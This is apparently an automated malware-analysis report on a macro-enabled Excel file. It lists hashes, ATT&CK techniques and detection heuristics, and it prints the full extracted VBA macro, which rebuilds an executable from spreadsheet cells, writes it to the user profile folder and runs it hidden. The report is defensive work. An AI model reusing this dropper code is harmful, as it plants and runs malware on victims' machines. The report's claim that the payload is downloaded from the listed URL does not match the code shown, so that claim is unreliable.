Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4856c838959b027d…

MALICIOUS

Office (OOXML)

277.2 KB Created: 2020-05-07 09:33:36 UTC Authoring application: Microsoft Macintosh Excel 12.0000 First seen: 2021-09-22
MD5: f665dee6b4ad1aa907351622d8521069 SHA-1: 70669ebba84f63893715dcc07495942ee1a050b9 SHA-256: 4856c838959b027d5f40e6d89b6ef9541619179a782513afadbed11028018f4b
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1140 Deobfuscate or Obfuscate

The VBA macro contains a critical 'Shell()' call and uses the 'Environ()' function to construct a path for a second-stage executable named 'lhQHTSfvBKl.exe' within the user's profile. The macro then attempts to write binary data to this executable file and subsequently executes it using the 'Shell()' function. This indicates the document is designed to download and run a malicious payload from the embedded URL http://d0wnt1m3.services.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://d0wnt1m3.services In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2260 bytes
SHA-256: f8f2ead0c939d79051a9835c43346dcc4b68373fdfe22828be64e99f99400311
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Panbb12()
        Dim rng As Range
        Dim Panbb7 As Integer
        Dim Panbb1 As String
        Dim Panbb2 As String
        Dim Panbb3 As Integer
        Dim Panbb4 As Range
        Dim Panbb8 As Integer
        Dim Panbb9 As Boolean
        Dim Panbb5 As Integer
        Dim Panbb11 As String
        Dim Panbb6 As Byte
        Dim Wupoyxquqa As String
        Wupoyxquqa = "Wupoyxquqa"
        Panbb1 = "lhQHTSfvBKl.exe"
        Panbb2 = Environ("USERPROFILE")
        ChDrive (Panbb2)
        ChDir (Panbb2)
        Panbb3 = FreeFile()
        Open Panbb1 For Binary As Panbb3
        Set rng = Range("READY!C64:C210")
        For Each Panbb4 In rng.Rows
                DoEvents
                        Panbb11 = Panbb4.Value
                Panbb8 = 1
                While (Panbb8 < Len(Panbb11))
                        Panbb6 = Mid(Panbb11, Panbb8, 4)
                        Put #Panbb3, , Panbb6
                        Panbb8 = Panbb8 + 4
                Wend
        Next
        Close #Panbb3
        Panbb13 (Panbb1)
End Sub

Sub Panbb13(Panbb10 As String)
        Dim Panbb7 As Integer
        Dim Panbb2 As String
        Panbb2 = Environ("USERPROFILE")
        ChDrive (Panbb2)
        ChDir (Panbb2)
        Panbb7 = Shell(Panbb10, vbHide)
End Sub


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 19456 bytes
SHA-256: 46df20c2855475d90241a511f855c060a059b54f816431c6c6df418a44e37ae2

Open this report in the interactive analyzer, or submit your own file for analysis.